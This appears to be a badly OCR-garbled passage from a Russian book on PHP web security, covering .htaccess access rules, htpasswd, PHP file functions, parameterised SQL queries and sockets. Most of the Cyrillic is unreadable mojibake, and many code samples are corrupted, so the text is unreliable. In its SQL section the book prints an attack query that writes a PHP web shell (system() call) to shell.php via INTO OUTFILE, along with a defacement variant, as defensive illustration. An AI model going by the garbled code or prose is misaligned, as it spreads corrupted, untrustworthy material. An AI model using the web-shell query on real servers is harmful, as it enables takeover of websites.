TOWWAO  4HTATS TOTGKO TO, SO TPEGYETcA. JiA ITOrO. HCTIOMSSYETCA dymKuns
£seek (), KOTOpaS B OGIIEM BHIE BHIPALINT CEAYIOUIM OOPAION:

int fseekiint £, int offset [, int whence))

ke wiTaem akisie 10 10 CHMBOTOB, MoK He GyAET A0CTHI-

3tech y HaC TP NAPAMETPa, 7182 H3 KOTOPIX ABIHIOTC OGH3ATEDHBIN
O £ — neckpurop gaiina;

0 offset — KOTHYECTBO CHMBOIOB, Ha KOTOPOE HYXHO MepeBHHyTS yKasatens. Ha-
IpABIICHHE ABIOKEHMS JABHCHT OT TIOCAEIHERO NAPAMETPA ByHKIUHIH;

3 whence — OTKYIa  KYIa HYKHO EpeMEATECA. BOMOXIE SHateHHA ITOrO Mapa-
werpa:
© sEEK_SET — AmoKenne HasMHAETER ¢ Haana daikna (1O yMOTaHHIO);
 SEEK_CUR — IBIOKeHMHE WIET OT TeKyuel nOsMInH;
 SEEK_END— ABIOKeHH WICT OT KoMua (paiina. UTOGH IBHIATECS B HANATO, B0 BTO-
POM TapaVETPe HYKHO YKa3aTh OTPHUATETBHOE SHAeIHe,
Hanpuwep, eciu HyKHO MPOSHTATS noGTeHHe 10 CHMBOTOB, TO MOKHO BHTIOTHATS
cnenytoui kox:
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TIpaBa JOCTYTIa MOTYT ONPECATLCA He TOTIEKO Ha KATATOTH, HO  Ha OTACTHHSE aiisi
‘3To OMMCaHHE PACTIOTATAETCR MEALY JBYMS CIEAYIOILIMH CTPOKAMH:

<Files momoanna>

</Files>

Hanpuviep:
<Files "/vax v/l /acnin. php">

Deny from a1l
</Files>

Jiwpexruns s paiina Takwe ke, kax 1 A% KaTanoron. To ecTh B ARHHOM MpHMCpe
K nomKarazory /var/www/html paspeitien TOCTYT BceM MOTH3OBATEIAN, @ K dailry
Ivar/sevewhtm/admin.php 15 STOrO KATa7Ora 3aTpEIEH A0CTYTI AGCOTIOTHO BGeM.
TIOMHNO aliioB W KATATOTOB, MOKHO OrpaHHSHBTS 1t Merosr HTTP-mpoToKona, Tare
KaK GET, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCE, PROPFIND, EROPPATCH, HKCOL,
COPY, MOVE, L0CK, UNLOCK. T e TyT cobaKa 3aphiTa? JlomycTHw, ST Y Bac ecTb cuenapii,
KOTOPOMY TIOTSI0BATE IOTKEH NIEPEATS MaPAMETPHi. JTO JIETACTCA ONHHM H3 METO-
0B FOST WaH GET. ECTH Bl SABEIONO SHACTE, WTO MPOTPAMMACT HCIIOTLSYET TOTHKO
METO GET, TO JATIPETHTE BCe OCTATLHHE, STOGH XAKEP HE CMOT BOCIOTB30BATLCA MOTeH-
UMATHHO YASBHMOCTHIO B CLIEHAPHH, HIMEHHB METOL.

Koraa # paGoran Haz caifTaus KOMTAHH SNy, TO Taw ¢ OMOWIHIO CETEROTO Kpana
Gbu 3aTpeIIIEH AOCTYT! K THOGHIM METOXEM, KPOME FOST W GE.

'BHIBAIOT BADHAKTSI, KOTA HE BCeM TIOTIOBATEAAM HOTHO GbiTh M03BOTEHO OTTPABIATS.
nanmsie Ka cepap. HATPHMEP, CLICHAPHH B ONPETECHHOM KATATOTE MOTYT OBIT 10C-
TYITHB /U8 HCTIOTHEHHS. BCEM, HO JATPYAATH MHOOPMALWIO H CEPBEP NOFYT TOTKO
AIMMHHCTPATOpH. DTa MPOBIEMA /IETKO PEIIACTCA C TOMOLIIO PASTPAHHNCHKA MpaB
Wenom3oBalA MeTozon nporoxona HTTP.

Tlpasa a HCTIOTH30BAHIHE METOTIOB OMHCHIBAIOTEA CIEAYIOLIHM OGPAION:

<Linit sooerozs>

Tpasa
</init>

Kak BAINTE, STOT Mpollece cXOK ¢ omMcaHeM paspeuenii Ha daiibi. Tak MOKHO
3AMPETHTS T0GYI0 Mepezay AQHHLIX Ha cephep
<Linie Ger roST>

Deny £xom all
</Limie>
B Z8HHOM IPHMEPE 3ATPELIAIOTCA METObI GET H OST.
Balia 5018 — YKa3TH TaKe NAPAMETPHH ZIOCTYTIa K KAT&TOaM i Qaiiiaw, mpi KoTo-
PHIX O GYIYT MHHWMATHHO ZOCTATONHEIMH. Y TIOTG3OBATEIA HE JOTKHO GbiTb 803~
MOKHOCTH CIEAAT XOTA Gbi OAMH bkl iar. JITA PEATHSAAMN 3TOTO Bt TOTKNH
1eHCTBOBATS TIO NpaBITY "0 He PASpELIEHo, TO 3aMpeueHo”.
51 BCerAA CHAYATA AKPHIBAIO BCE, HTO TONBKO MOXHO, H THILIh TIOTOM TIOCTENIEHHO CHAT-
810 TPaBa, HTOGH BCe CUCHAPHH HASQTH PAGOTATh BepHo. Jlywute THINHH a3 MporH-
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BBB0Ta sHaseni epewerHX. ECTH HYKHO BHBECTI TEKCT, TO BHHOGHTE €10 34 mpe-
et PHP-Koza, Hanpumep:

<zphe

>

<@>This 15 infomation about php</p>

<roho.

shpiato(;

»

3neck cHataTa OTKPHIT O 670K Ko%a PHP, B KOTOPOM HHSETO HeT, HO 0MYCTHM, 4T
TaM €cTh KaKas-TO 70rHKa. TIOTOM 3TOT GIOK 3AKPHIBAETH, W BHIBOZHTCA MPOCTOH
'HTML 38r01080K, & Zasite CHOBA OTKPHIBAETCA €llie OIMH GIOK KOa, FA€ Mt MpOzod-
Xaew nucas Ha PHP.

C NIOMOMIBIO (yHKIIH print () JTyHIlIe BHIBOIHTS TOABKO NEPEMEHHBIE W, ECTH HYKHO,

HeGonbume cooSuwienus. S pexowenayio pasweutams HTML-xox 3a npezenam PHP-
GroKon.

Jlaie y Hac B Koz BHIHBAETCR dYHKINA phpinto(). OHa OTOGpEKaeT b Gpaysepe
oropuamuposasiyo midopasio o PHP, KoTopyio B M MokeTe maGmonats
(e, prc. 2.1). JLna 3700 GyHKLHH He MY MGPAMETPH, MOITOMY B CKOGKX HHSErO He
yxasaro.

TIpH cosaary CTPaHHIL B B 1060 MOMEHT MOXETE NIEPEKTIONATLCA MEAIY PEXHMAMI
PHP  HTML. Tosriee cxasars, 8 m060¢ ecto HTML-TOKYMEHT MOXHO BCTABIATE
PHP-KOMaHAH, KaK OK3AHO B THCTHHTE 2.2.
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BesonacHocTs

KOrza # YHWICA B HCTHTYTE, TO Ha OJHOM W3 CTEHI0B B KOPWIOPE MPOYHTA OUEHb Hi-
epectoe pucxassimae: "JlioGas nporpama conepKirT oumbK. Ecru b samei mpo-
FPAMMe X HT, TO TIPOBEPSTE IPOTPAMMY €lle pas. ECiH CHOBA OLIHGKH He HalizeHs, T0
Bbi MI0XOH MPOTPAMMHCT'. ITO He WYTKa, 370 peansHocTs. [IporpasHCT — oTo Tio-
M, @ THOIAM CBOACTBENHO OWMGATECA. KeX1bii JcHb MOARINIOTCA HOBBIE BITH ATaK, H
WTOGH! TOAAEPAMBATS MPOTPANMBI B GE3OMACHOM COCTORHHH, NPHXOIMTCA PeryAspHO
SIS 32 METOaMH, KOTOPHIE HCTIOTS3YIOT XAKEPH, H COOTHETCTRYIOUIAM OGPaIOM
KOppEKTHPOBATS HCXONHHH KO

Uew Gonie npoekcr, Tem Gobiui » Hew MOAeT GhiTh ouHGOK. Haeanswot Moxer Ghirs,
HABEPHO, TOTLKO MPOTPAMMA, KOTOPA MPOCTO. BIBOMT KAKOF-TO TEKCT, HATPHNEP,
“Hallo, world".

Ec b bautci TPOTPaNE HET OwIHGOK, T0 O3HANAET, 41O WX HeT ce2odst. Bt HaNHCATH
IPOTPAMMY B COOTBETCTBIH C TIOCAEHIMH TIPABHIAMH GE3OMACHOCTH, HO JABTPa HTO-TO.
MOKET HIMEHITECH, H TPOTPANM CTAHET YA3BHMOH. Hanpiwep, 3a6Tpa BuiAzeT HoBax
Bepers Web-cepaepa wnw PHP, b KoTopoi 02a s chyKueH Conepit ourmOKw,  saut
GaliT OKEKETCA 107 YTpo3oit BTOMA. YK GHLI0 MHOTO CTy4aes, KOrAa npoGewoil cra-
‘HoBHTHCS BpOZE Gbi Gesonacibie yHKIMH. OIHDKIM OLIMKA Gbura HaReHa b dymK-
1AW PAGOTH C KAPTHHKANH, OHA HETPABHILHO OGPACATHBATA WSOGPKEHIA C HYICBOH
wMpHHOF.

TlooTowy yrepaente 0 Tow, *o eciiu OWGKI HET, TO HYAHO MPOBCPHTS KOA eille
Pa3, — BepHo. TIPOBEPATS HYAHO IOCTORHHO.

HEBOSMOAHO HATIHCATS, KHHTY W WAIOKHTS B Hefl KIKIe-TO MHCTPYKLIMH, CTeTy% KOTO-
Phin mporpawnkCT GyzieT coszasars aGcomoTHo Gesonacsie cuenapwi. Ho 5To e na-
ST, WO 1O GE30NACHOCTE MOKHO 34BHIT, MOTOMY HTO HOGYIO CHETEMY BCe PaBHo
B3IOMAIOT. 1 N0CTAPaloCk AATH PEKOMEHIALIHH, KOTOPHIC TIOSBOTAT CAEAATS Baul Ko Go-
Tee Ges0nacHIN W TIOHWIHTS BEPORTHOCTS BYTOMA 10 MHHHMYA.

BoA KHWHTa IOCTPOCHA TaK, TO TeMa GE30NaCHOCTH CTABHTCA Ha nepsbii s, Ho ects
OmpezerCHBIE OGILHE MOMEHTS, KOTODHE 3 BHIHEC B OTAEABHYIO TIaBY, H X HAM NpeA-
CTONT cefivac paccMOTPeTS,
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Pesymsrar, nospamaenbiii GywKiei £ilect ine (), — HCT0, W A1 MpeoSpaORaNH
HCTOEIYETCR pYHKLUA date (). Y 5TOH YHKUMM 13 NZPAMETPa — HyAHsi dopwar 1
Bpens. Bowwombie Hasenw 413 QOPMATA BB CMOKETE HARTH B JOKYMENTALIH o
by wa cafite php.net

s 5 leatine () BowpamaeT faty mocneAnero oGpauenna K Gaiiny. Tlon obpa-
LIHHEM TIOHHMACTCA TH0G0€ MTEHHE HTH WIMEHEHHE COTEpAHMOTO. MHe TIOKa He npi-
XOIWAOGH HCRIOMS30BATS STy yHKIIAIO, HO, MOKET GHITh, BAM OH MPHIOTHTCS:

int fileatime(string £ilename)

DyHKiA £ 1esi ze () NO3BOTAET ONpeneTHTS paswep daina:

int filesize(string ilenane)

DywKiH nepeageTes A Baiina, @ B PERYBTATE M TIOTYNACM €0 PIIMED.

JUA% OnpeneenA THa (balina HCOTEYETCA HECKOTISKO YK, HO Sallle BCero Hyx-
HO Y3HATS, ABAAETCA TH MYTh KATATOTOM, (Gaikom Wi Heroawsesbiv daitiow. Tlowiwo
70T, MOKHO YIHATS, €CTh W Y HAC NPaBa Ha HTEHHE Wi 3aTHCH B Gail. Beew i
bywKLAAM nepeaaeTes s Gailna, a pesyIBTAT paBeH true WM £alse.

[ ———

rue, €CAM YKaSAHHBI TyTh COOTBETCTBYET KaTazOry:

int is_dir(string filenane)

yKuWA is_executable () BOJBPAUIAT true, €CTH YKISAHHEI YTh COOTBETCTRYeT Ho-
nomsexowy daiiry:

int is_ executable (string filename)
DYHKIIA §5_£i 1o () BOIBPAIACT true, €CTH YKAAHHBIH MyTH COOTBETCTRYET aiiny:
int is_file(string filenane)

@ynkuns is_readable () BOIBPAAET <rue, €cTH yKasaHLH Galin A0CTYTIEH 1A WTe-
s

int is_readable (string filename)

DywKaws Ls_vritable () BOIBPAIET true, ecan yKasanmui (balii AOCTYTIEH A15 3aTCH:

int 15 writable(string filename)
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Ecn Bl XpauiTe uhiewa  napoaw & bopwate Gas xamwex DBM (mis ee ykaanns
B gailie Mtaccess HCTOTB3YETCH ANPEKTHBD AuCHDESexFi Le), TO AR YIpARIEHHA €0
HYAHO IDHNERATS KOMaNTY cemanage.

Jlasalire oGcymw, Kak TOTH30RaTCA MpOrpaNMOH hipasswd. OGWA BHA B3R
'KOMAHIS! BHILIAIHT CAEAYHOUUIM OGPasON:

hepasswd napawersas ol seun rapars

Tlaports W W% pafina ABTIOTCH HEOBAIATEBHBIMM, H HX HATHAHE JABHCHT OT yKEIIH-

HADX M, PACCMOTPHM OCHOBHBIE KTHOMH, KOTOPHIE HaM Z0CTYTHK

O -c— covuams KB paiin. Ecan ykasannsii daitn e cyuiectsyer, To o iepesa-
nHChiBaCTER, 8 CTapoe COepAMMOC TepaeTs. TIpHMED HETOBI0RANHS KON
htpasswd ~c .htaccess robert

Tocre BHIMOTHENNR 9TOM ZVPEKTHBS IEPEA BavH MORBHTCA MPHTAAICHHE. BBCCTH
TAPO, ATA HOBOTO MOTH30BATEAR robert  MOXTBEPIHATS €r0. B pesysTaTe Gyzer
covnaH Gafin htaccess, b KOTOPOM GyJET 02Ha 3anch 213 MoAB30BaTENA robert ¢ yka-
prtt——

O -n— Henomb30BaTs MonwpHIpoBaHH Apache arropwry MDS s napoeh. 10
TIOSBOTHT niepeHoCHTS costanmi Gaiin wa moByio Apyryio mraT(opwy (Windows,
UNIX, BeOS u . 1), e paGoraer Web-cepaep Apache. Taxoi ko4 y1oGen, ecin
¥ BAC PASHOPONHAA CeTh, H OMMH il ¢ NAPOTAMM HCTIOTH3YETCS Ha PASHBIX Cepae-
pax;

O~ — % WHPOBAHNS NPHMEHHTS CHOTENHYIO YHKINIO cryor (1

O - — npuwens, SHA-wwbponanse (va Gase aIOpHTA KWMPOBAHHS), KOTOpO
wenomayerca wa maamopwe Netscape;

O - — e wppoBaTs MapTH. 51 He PEKOMEHAYIO YCTAHARTHBATS ITOT (b, mOTONY
410 o HeGesonacer;

01— He BHOCHTS HHKAKWX HSMEHEHMH, & TOTIKKO BHIBECTH PE3yIKTT Ha SKpai.

JU1A 10GaBIeHHS HOBOTO TIOAB3OBATE A MOKHO BHITOTHATS KOMAHLY 563 YKasarus Kiko-
‘ueih, & nepeaTs B KaueCTBE NAPAMETPOB TOTBKO WhieHa aitna 1 noTs0RaTENS:

htpasswd .htaccess Flenov

¥ KOMAHLIB hpasswd €CTH 163 OTPAHIYEHHS: B HMEHH NOTHI0BITETA HE JOTAHO GoITh
‘CHMBOTA ABOCTOIS,  TAPOTE He MOACT MpERLILATS 255 CHMBO0R. OB YCI0RS 0c-
TATONHO ZEMOKDATHYIHB, H C HHMMH MOKHO CMHDHTSCS. HIHKTO W3 MOWX JHIKOMKIX TIOKA
€lle He 3aXOTE YCTAHARTHBATS TaKOR JIHHHBH NEpOTh, & 3ATCHETBORATS ABOETONME
B HACHH TIOTBI0BATEN PEIKO KOWY TIPHXOHT Ha Y.

Ayresuuxauns Web-cepaepa — cruuikom mpocTo criocof ofecriesenns Gesonacko-
ru. Tlpw nepezate NapoH WHGPYIOTCA MPOCTHM KOZpOBatHeM Base6d. Ecan Xaxep
CMOXET IEpEXBATHTS NAKET, CONEPAALINH HMA TIOT630BATE A W TIAPOITS, TO OH NPONHTA-
e 51y HHGopwatuaio 3a naT cexyna. Jlia pacumpponkw Base6d re nyxrio noxGupats
TmapOA, AOCTATONHO MPHMEHHTE OAHY (YHKIIMIO, KOTOPas BINIOTHAET JEKOIHPOBANHE
PAKTHECKH MOMEHTATbHO.
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else
{ dle("File open error"); |
Epassthru(s6);

JL1a paGOTH ¢ (hyNKIMEH Epassthry () HEOGXOTHMO, TG hai Gt OTKPT B pexHME
e,

Ecan tpeGyeTen BhinecTH Ha cpanity bech Gail, TO MpOLIE BOCTIOTEI0BATEES K-
elf readtile():

readtite("/v

/e /1 cest£ile. txe) 1
BYAbTE OCTOPOXH NpH HCMOABIORAHKH GYHKINH fpassthru() W readfile(). Jleno
B TON, T0 OHI HHKAK He MPOBEPAIOT JaHHHE A2, 2 MPOCTO OTIPABATOT WX GPay3EPy,
KoTOpbif Gy2€T OTOBPEAATS ConCpAMNOE, Kak noHOUeHHbH HTML. Ecin bt pbisoz-
e Ha Crpaiity coaepinmoe daitra index.php, 1o HTML-rern 3 aroro deiina Gyayr
oGpaGoTarss Gpaysepow. EC Xakep MomywHT OCTYn K moakmosaewowy dainy, To
(CMOAET BCTABHTS B Hero JavaSCripl-Kod, a 370 MOKeT NpHBecTH Kk XSS-arake.

2.14.5. 3anucb AaHHEIX

LA SaTHCH ABHHEIX MOKHO HCTIOTBIORETS O 5 TBYX (BRI fuzice() M £puts ).
O wxeHTIHA O CBOGMY AEHCTBHIO 1 OTAMMIOTES TOTHKO HATBAMHEN, MOSTONY GY-
i

int furite(int €, string ws [, int lengthl)
'V yHKILAH TPH NGPAMETPA, TEPBE 158 I3 KOTOPHIX OGAYITEAbHEE:
O KeckpHITTOp (hafina, B KOTOpHI HyACHO 3amHCHBATS AaHHBIC;

O cTpoKa, KOTOpYIO Hazo JamHCaTH;

3 KomecTao 3anHeHBacwbix Aamwex. Ecni 5TOT napaneTp e 3azan, 70 b aiin Gyzer
SATHCAHa BCA CTPOKE,

'ECH 3aTIHGS MPOSONLTA YCTIEWIHO, TO (BYHKLIHA BOSBPAILAET e, WHANE alse.

B BPENS 3AMHCH BbI ZIOTAHb! YSHTHIBTD, 4TO JaHHBIE THIIYTCS B TEKYLLYIO MO0

® daiine. Hanpiwep:

it
i
die ("File open erro
'

en (*/va /wau/html /1 /test L le. EXE, *T+0)))

55 = fread(se,
prine ("<p>Line 1: $8%);

furite(se, "writing®);

retose(s6);
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B iepBo CTPOKE BHIIMBACTCR METOR ConnectToDa () KIACCa Gashi AGHHBIX, H TOT METOR
BEPHET Ha FOTOBOE CoenHeNHE. TYT e % BHIHBAO METON prepare (), KOTOpHI 201~
KeH TIOLTOTOBHT 3ATIPOC W3 TIEPEMENHO S5 K BHTIOTHEHHIO

Tlepsas CTPOKA HEMHOTO TIEPErpYACHA H, HABEPHO, LIOXO UHTAETCA, HO & MHCAT €& ATh
cea, a He % KHHTH. DTy e CTPOKY MOKHO PAICHTS Ha Abe, “TOGH! OWM THTATHCH
PO, & pesySTAT paGOT GYAET OMHH W TOT A€:

Sconnection = Chatabase: :ConnectToDB *test )

Sthis->query = Scomection->prepare (53ql)

MHe KapkeTes, TaK HpoILe HOHKTH KO

Tloce MOATOTOBKH 3aMPOCA, HYKWO NHES3ATE K HEMY IHINEHHS BCEX MEPEMEHHBIX
H 570 NDOHCXOIHT B UAKIIE “yTh HIKE B Koz, UTo0bi MHBASATS SHANEHHE K MepeNeH-
HOMi, HYKHO BII3BATS METO birdaLue (), KOTOpOMY B KIHECTBE IEBOTO apaveTpa rie-
PEAAETCR MM IEpeMEHHOT ¢ ABOSTONHEN, & BTOPOF NAPAMETp — Cawo JHAYEHHE.

JI18 BHINO;HEHWA FOTOBOTO 3ATTPOCa ¢ NIAPAMETPAH MIPOCTO BHIHIBACM METO execute (
51 He MPH3MIBAIO BAC HCTIOT3OBATE MMEHHO MOW KIACCH, S WX HATIHCAT 1S GG, 1
ynpoutenia caoei Ausii. B Hirephere 20cTymHo Gonbioe konM4eCTB0 Gonee MOUIHHX
GuGaoTeK 414 aGoTe ¢ SQL. B GOTHIUINX NPOSKTAX # MPEATOSHTAIO HCMOABIOBTS
GHGaHOTexy Doctrine, H BOT €c, HaBEPHO, & MOTY IOPEKOMEHIORATS.

Cambi TAaBHLH CMBICA ITHX IPHMEPOB — YGEAHTS BAC B HEOGXOTHMOCTH HEIOTB30-
BATL MAAMETPH! W TIOKASATE, KAK 3TO MOXHO ZIEAaTS Ha WeTom SQL. Ges jonomHTe-
Hbix GHBHOTEK.

3.8.5. Pabora ¢ qaiinamu

Hepes SQL-3aMpOCH XaKEpHI MOTYT MOTYWHTE 70T K aiaonoit cuerene. Hanpiwep,
enenysoumi Kox coxpanser b PHP-aiine cuenapwii:

SELECT *<7php system(‘napauespu’) 2>' INTO OUIFILE ‘shell.php’

“TaKinw OGPAa3OM, XaKep MOKET COVIABATS Ha CEpBEPE CIISHAPHH CO CBOHM KOTOM €O Bce-
MM BbITEKIOUIMH 1oc/ieACTB AMH. Eci aiLibi CLIEHapHEB A0CTYTHEI 1A SATHCH BceM
TIOTB30BATENAM, TO XIKE MOACT NEPEIAMACAT YoKe CYieCTBYIOUAH (paikn, a oTo ye
apenato nedeiicon.

SELECT *<B>You hacked</B>' TNTO OUTFILE *index.php

Xaxepsi overt, 4acTo Heronsayior SQL-KOMANTY TNTO CUTETLE A1 COJIHHA AaMiTa
TaGmu Gaset aHbIX. HANDAME, BIOMULAK NOTYSHA AOCTYII K BUTIOTHERHIO KOMAHA
W, COXpaAR PEIYBTAT CBOMX 3ATPOCOR B TEKCTOBOM (paiine, MOXET IOTOM 6e3 MpobEM
KasaTh ITOT alin 1% PasGOpa B CBOGONHOE BPEMS 52 HALIEHKOH Ko,

3.8.6. TipaxTuka paboTir ¢ 6a3aMM AAHHKIX

Opausaiite pHIMaNHE Ha BeE EPEMCHHIE i MApaMCTPH, KOTOPHIE HEMOTLIYIOTEA MpH
opmipoBaHM 2anpoca. ke CCTH Bl AYMACTE, O MOAKIORITEh HE MOACT HOBTHSTS
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10T Knace % HaGpoCAN OvieHs AABHO 1A HeGoABIIOND MpoeKTa. Krtace He camsii Hiex-
THBHbH, HO HEBEPORTHO MPOCTOF, H MHE YIO0HO €10 HCTIOTKIOBATS 10 CHX TIOp IR
HeSonbunex npoexTon.

TIOCMOTPHM, 'O TYT MPOHCXOAHT. ¥ KOHCTPYKTOpA _ construct €CTh B MapaMETpa:
cTpoka ¢ SQL-3ampocom 1 nepemenmas-wacens ¢ napaverpawn A1a SQL-sanpoca. Bee,
TO NIEPEAETES TIOTHIOBATEEN H Ha IO MOKET IOBTHATS 107IOBATEN, IOTKHO iepe-
MABATECA B KaHECTBE NApaMETPOB. 3a OKHOM y MeHs TOpoKTO 1 2016 ron, a b Haune ppe-
NS HCTHTD mepemenHBIe yKe He MooAcHo. TIpOrPaMMHCTL TIOGST KpHTHKOBATS 1
TPOIHTS,  €CAM Bl He MIOTH3YETECh NAPAMETPAMH, TO 33 3TO TOHHO MOKHO OTYSHTS.
Baros KpwTHH. M ecii ecTHo, OHa GyeT 3acyienHof.

TlapaweTpsi 5 SQL — 970 Kak napameTpsiy bywKiui b Batiiew xoze. PacemoTpin npu-
wep SQL-sanpoca:

Squery = new CQuery(*select * from Picture where cuBictureId
azray('idt => $_GET('id")));
spicture = Squery->fetch();

sar

B nepBoii CTPOKe CO3IAETCR MOl KTACC Cauery, KOTOPOMY B KANECTBE MIEPBOFO MapaweT-
pa nepenaees crpoxa sanpoca. B 1w sanpoce : id — 910 SQL-napaverp. Eca sanyc-
THTS CaM 3aTIPOC, TO OH 3ABEPLINTCA OWIHGKOM, TIOTOMY HTO 1 HE CYILECTBYET, Y Hero
HeT maver

3HaeHHE TIEPEAGETCR KIACCY HEpes MACCHB BO BTOPOM APAMETPe *1d* => 5 GET(*id].
3Mech M TOBOPHM, TO :id B PEATHHOCTH GYACT PABHATGCH SHANEHHIO id, KOTOpOE
nomosatens nepeact s crpoxe URL.

Korza 0BmeKT co3aan, NOTYWHTS AGHHAIE MOXHO BBI3OBOM MeTORa fetch (). Eci anpoc
AOmAeH BosBpaLATS Gobie 02O CTPOKH, TO MPORTHCS N0 HAOPY CTPOK MOXHO C7e-
oM crocoGom:

while ((Spicture = Squery->fetch()) 1= FALSE) {

/1 waneuarare snavese xorowcn Filename wa peaymuraza sanpoca

print (spicture('Filenane*]):

)

KR b pHrypisix cOGKaX GyACT BHIOTHATCA, 0K METOA €6t () MOSTO KIacca B0
BpALAET XOTA Gbl OHY HOBYIO CTPOKY. ECTH Mbl ZOCTHIH KOHIIA BHGOPKH, TO METOR
Bepret FALSE.

KCRace Couexy GHILHO YTIPOGTIUI PAGOTY C SANPOCOM, BCe CBEAOCK K BHITOTHERVIO BCero
IBYX CTPOK, XOTA STOT KO MOKHO 3aTHCATS AiKe B OKY CTPOKY. Ho canoe Tepecioe
GKPHITO B KOHCTpYKTOpE STOro Knacea:

Sthis->query = Chatabase: :ConnectToDB (" test ) ->prepa:

sal) s

foreach (sparans as Skey => Svalue) {
Sthis->query->bindvalue(":" . Skey, Svaluel;
)

Sthis->query->execute ();
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Jas nposepxu zomycTHMocTH URL HCMOn3yeTes MpHMEpHO cieyiouii sanpoc:
seweer +

RO Tamaa

WHERE ValidURL=Surl

TIpOGIENa SAKTIOUGETEA B TOM, HTO U1 MPOBEPKH HCTIOTS3YETCA 3ATPOC K Gase AGHHENY,
 3HauHT, Xakep MOAeT nepenath TakoH URL, KoTopiik criocoBe KApYLLITS TpOBEPKY,
€CTH HeT XopouieH GHTLTPALIH, BE STOT JAMPOC He HCTIOTE3YET NapaETpoB. Ta 1o
AwKe MpH HCTOT3OBHHH STOrO BAPHANT IALITHL HEOGXOTHMO TIPOBEPATS MepeMert-
Hy10 151 (oTopas RomKHa conepwaTs Texyuit URL).

EqvcTenmsii c1ysali, KOTIa MOKHO HCTIOTBSOBTS MOROGHYIO JAUVMTY # OHa Gyer
eficTBHTENBHO SpexTHBHOM, — 370 MpOCTOH calfT, T tepes URL nepeaetes Tombko
OIHa NEpeMeRHAS i, KOTOPOH MPHCBAHBACTCA HHCIOBOE SHadcHMe. B STOM cryuac
IIEpeMeRHYI0 Su] AOCTATONHO MPOCTO NPOBEPHTS 110 WAGOKY:

“http: /s, sitename, con index. php?id=(0-31 (1, 1"

(CHava7a nEpeveHHAR TIPOBEPSETCR Ha COOTBETCTBHE STOMY WAGTOY, H €CTH BCe HOP-
NITEHO, T0 TOTKO TIOCTE STOro MPOHCXOTHT TPOBEPK 10 Gase AAHHS.

‘Taxofi BapHanT 3auATH! GyAeT paboTaTh T ATA POCTX CUEHEPHED, KOTIA HEPe3
URL nepezaetcs e Goiee ABYX NapaMETpos, U T MapaMETP 7eTko OMACATS ¢ Mo~
NOuIb#o waG70ma. ECTH MAPAMETPH CTHUIKOM CORHHE, TO JGKE COSTATH Takyo Gazy
(GYZeT NPOGENATHIHO  GECCMBICTIEHHO, XOTA Gl H3-30 €¢ paswepa.

B 110GoM CTyae, ZaKe 18 MATEHBKOTO CalfTa % CHHTaI0 TaKoH METOX JaTH CoBep-
eHHO GecoMBICTERHbM,

3.9. Pabora c aiinamu

‘Teneps oy, 40 HeoBxomMO HTBTPOBATS Mpi padore ¢ aiinav. UroGet npoue
GHuTo MOMMATS MPOGTEMY, BCTIOMHHTE NpHMEp, KOTODHIH Ml PACCMATPHBATH B
pasd. 3.4.1. Mie yaanocs 31oNaTh callT WMEHHO GTAONaps HETPABATbHOMY oGpaue-
HHMlo C NapaMETPaMH, HCTOTB3YeMBIMH B BaiLioBoM cHeTeme. DYHKILH paGoTi ¢ ali-
7080l CHETEMOM M Yoke BHAEAH B pasd. 2. 14, a CelNAC OCTAHOBHMCA Ha Ge30MacHOCTH,

TloBTopiock: aGeomOTHOM Ge30MACHOCTH He GBIBAET, HO €CH C/ENOBATS NepesCTEHHH
AATe PEKOMEHLTALIAAM, BEPOATHOCTS OLIMGOK B CLLEHaPHH COKPATHTCA B HECKOTHKO Pas.

‘Crapaifrecs oGpauaTse K (bainay TOTHKO b TeKyuew Katatore. ECTH HeoGXomMM Apy-
Foli KaTATOr, TO He GOpMMPYIITE MyTh Ha OCHOBE NAPAMETPOB, Ha KOTOPHE MOKET B0~
1€/iCTBOBATS NOT630BATETh. DT MOSBOTHT MPH YKASAHHH MyTH OGORTHCS Ge3 OnacHHX
‘CHMBOTOB, TaKInX KaK ABOfiNas Touka wik crews, B OC Windows onacksi Kak mpaol,
“Tak  OGpATHBI Cril, TOTOMY O B 3TOft ONIEPALTAOHOR CHTEMe TP YKIaHIH TyTH
HEOTLYROTCA 0Ga cHwBona. TIph HEOGXOMMMOCTH OGPATHTECA K (aliia He 13 TeKylle-
ro karanora Ges creuncii oGOMTHES He YAACTCA, HO €CTH YKEISIBATS MOMH MYTb o
KOPHA, Mbi MOKEM MIOERATS HCTIOTHI0BAHHS ABOAHOM TONKH, Jake €cTH MyTh K aiiry
OpMIHPYETES Ha 0CHOBE NOTHIOBATECKIN ARHHBIX.
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Creayioumas yHKIA socket Liscen() MO3BOTSET SAMYCTHTS MPOCTYLIMBAHHe MOPTS,
BO BPEMS KOTOPOTO NDOTpaMa GYIET OHAATS MOAKTIONCHHS Ha IOPT GO CTOPOH KTH-
exma:

ine socket_Listen(int socket, int backlog)

3tech Y HaC 182 NAPAMETPA — COVIAHHM COKET H MAKCHMATEHOE KOTHYECTBO MOAKTIO-
e, KOTOPHIE MOFYT HAXOHTEA B OY€PeTH.

TTpocywHBaRve Ha%QTIOCh, W TETIEPS MsI FOTOB! MPHHAMATS MOAKTIONEHHS KIHEHTOD.
BusbiBach GYHKIIO socket_accept.(). B ITOT MOMEHT BTOTHEHHE CLEHADHA G0~
KHPYETCS 110 TeX r1op, TIOKa He GYAET MNYEHo HOBOE CoeMHeRHe. Kak TonbKo K Mopry,
OTKpHTOMY BaIEH NpOrpaMMOR, TIPOWSOLITIO TIOTKTIONeHMHe, GYHKLWS COVIACT Ho-
Bl COKET W BO3BPALIAET €10 ZECKPHITIOP. JTOT COKET HHKEK He CBA3aH C TeM, KOTO-
Pilf BB1 COVIABATH NP MHMUATHSALIH, & MPETHASHAREH /1A OGMEN JaHHBIN C KTH-
extom.

KnueHTcke yHKLuM

Y KIHEHTa Bee HAMHOTO Mpollle — AOCTATONHO TOTBKO COBIETH COKET ¢ GywKueh
socket_create() H YA MOAHO OAKTIONETECA K CEPBEPY, BHI3HBaA PYHKIUO socket_
comnect ()

int socket_connect (int socket, string address [,int portl)
'V 9700 K TpH napaveTpa:
O coKer, covnatli ¢ NOMONISIO GYHKIUIH socket_create (13
O IP-apec KOMITHIOTEPA, ¢ KOTOPHIM HEOGXOTHMO COETHHHTECS;
O 1OpT, Ha KOTOpOM YRl CepBep SATYCTAT MPOCTYWIHBHHE,
Ha nepsuii 531147, aGOTA © CETHO CIOXHA, TIOTOMY TO TPeGYETCA BRITOTHITS He-
cKoMbKO Wwaro:
1. Covnas coer.
2. Eey Hac ciwBomsHiiH a1pec, TO €ro HeoGXomMo nepesecti s IP.
3. CoenmnuTsCA ¢ CepBEpow.
